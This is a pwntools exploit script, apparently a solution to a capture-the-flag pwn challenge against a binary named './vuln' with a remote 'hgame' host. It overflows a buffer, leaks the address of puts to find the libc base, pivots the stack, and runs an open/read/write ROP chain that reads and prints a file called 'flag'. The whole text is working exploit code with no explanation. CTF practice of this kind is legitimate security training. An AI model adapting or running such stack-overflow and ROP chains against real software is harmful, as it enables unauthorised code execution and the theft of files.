1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
|
from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './vuln' elf = ELF(fn) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0 if debug: p = remote('week-1.hgame.lwsec.cn', 32124)
else: p = process(fn)
puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
read = 0x4012d6 main = 0x4012f0
pop_rdi_ret = 0x401393 leave_ret = 0x4012be data = 0x404100
p.recvuntil('before you try to solve this task.')
payload = b'a' * 0x108 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.send(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.success('puts: ' + hex(puts))
libc_base = puts - libc.sym['puts'] log.success('libc_base: ' + hex(libc_base))
pop_rax_ret = libc_base + 0x36174 pop_rsi_ret = libc_base + 0x2601f pop_rdx_ret = libc_base + 0x142c92 syscall_ret = libc_base + 0x630a9
p.recvuntil('before you try to solve this task.') payload = b'a' * 0x100 + p64(data) + p64(pop_rax_ret) + p64(data) + p64(read) + p64(leave_ret) + p64(0) p.send(payload)
rop_data = [ pop_rax_ret, 2, pop_rdi_ret, data, pop_rsi_ret, 0, syscall_ret,
pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, data + 0x100, pop_rdx_ret, 0x100, syscall_ret,
pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, data + 0x100, syscall_ret ]
payload = b'flag\x00\x00\x00\x00' + flat(rop_data) p.sendline(payload)
p.interactive()
|